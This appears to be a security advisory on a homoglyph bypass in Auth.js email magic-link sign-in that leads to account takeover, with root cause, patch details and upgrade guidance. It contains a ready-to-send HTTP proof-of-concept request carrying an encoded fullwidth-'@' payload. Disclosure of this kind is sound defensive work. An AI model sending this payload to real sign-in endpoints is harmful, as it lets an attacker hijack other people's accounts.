Auth.js (@auth/core): Email Magic-Link Homoglyph Bypass Leading to Account Takeover
Auth.js's email sign-in normalizer validates the address before applying Unicode normalization, letting an attacker smuggle a lookalike '@' character to redirect a magic-link to an…
The problem
The default normalizeIdentifier function in Auth.js email/magic-link provider splits on ASCII @ (U+0040) and validates the single-separator rule before any Unicode normalization is applied.
An attacker can embed U+FF20 FULLWIDTH COMMERCIAL AT (@) in the submitted address. The validator sees only one ASCII @ and passes. A downstream mailer that applies NFKC normalization collapses @ to @, producing two separators and routing the magic link to the attacker's mailbox instead of the victim's.
No victim interaction is needed: the attacker initiates the sign-in flow targeting the victim's email, intercepts the link, and authenticates as the victim.
Proof of concept
A working proof-of-concept for this issue in @auth/core, with the exact payload below.
POST /api/auth/signin/email HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
csrfToken=<valid_csrf>&email=victim%EF%BC%A0victim.example.com%40attacker.com
# %EF%BC%A0 is UTF-8 encoding of U+FF20 FULLWIDTH COMMERCIAL AT (@)
# Submitted identifier: victim@victim.example.com@attacker.com
#
# Old normalizer (validate-before-NFKC):
# split('@') -> ['victim\uFF20victim.example.com', 'attacker.com']
# one ASCII @ found -> passes validation
# magic link is addressed to: victim@victim.example.com@attacker.com
#
# SMTPUTF8/NFKC-normalizing mailer:
# NFKC collapse: victim@victim.example.com@attacker.com
# parses first mailbox -> delivers to attacker.com
# attacker receives the magic link and signs in as victimThe root cause is CWE-180 (Incorrect Behavior Order: Validate Before Canonicalize). The old normalizer called identifier.toLowerCase().trim().split('@') and checked the count of ASCII @ separators before any Unicode normalization, so a NFKC-compatible homoglyph passed the guard unchallenged.
The patch commits (19d2feb and a63eee1) add identifier.normalize('NFKC') as the very first step, collapsing compatibility characters like U+FF20 to their ASCII equivalents before any splitting or counting occurs. After normalization a crafted address containing @ is immediately seen as having two @ separators and is rejected.
U+FF20 FULLWIDTH COMMERCIAL AT is the most direct homoglyph, but any Unicode code point whose NFKC decomposition is U+0040 works identically. Most internationalized-email (SMTPUTF8) libraries normalize on ingest, making the misrouting reliable against common mail stacks.
The fix
Upgrade @auth/core to 0.41.3 or later, or next-auth to 4.24.15 / 5.0.0-beta.32 or later. No application-level changes are needed after upgrading. If an immediate upgrade is blocked, add a custom normalizeIdentifier on the Email provider that calls identifier.normalize('NFKC') before any splitting or validation, and rejects addresses that do not contain exactly one ASCII @ after normalization.
Reported by @kakashi-kx.
Related research
- high · 7.5CVE-2026-45623CVE-2026-45623: PostCSS Arbitrary File Read via sourceMappingURL Path Traversal
- highCVE-2026-64642CVE-2026-64642: Next.js Middleware Bypass via Turbopack Single-Locale i18n
- highCVE-2026-64645CVE-2026-64645: Next.js Server-Side Request Forgery via Rewrite Destination Hostname
- highCVE-2026-65016: n8n SSO Instance-Role Provisioning Privilege Escalation to Instance Owner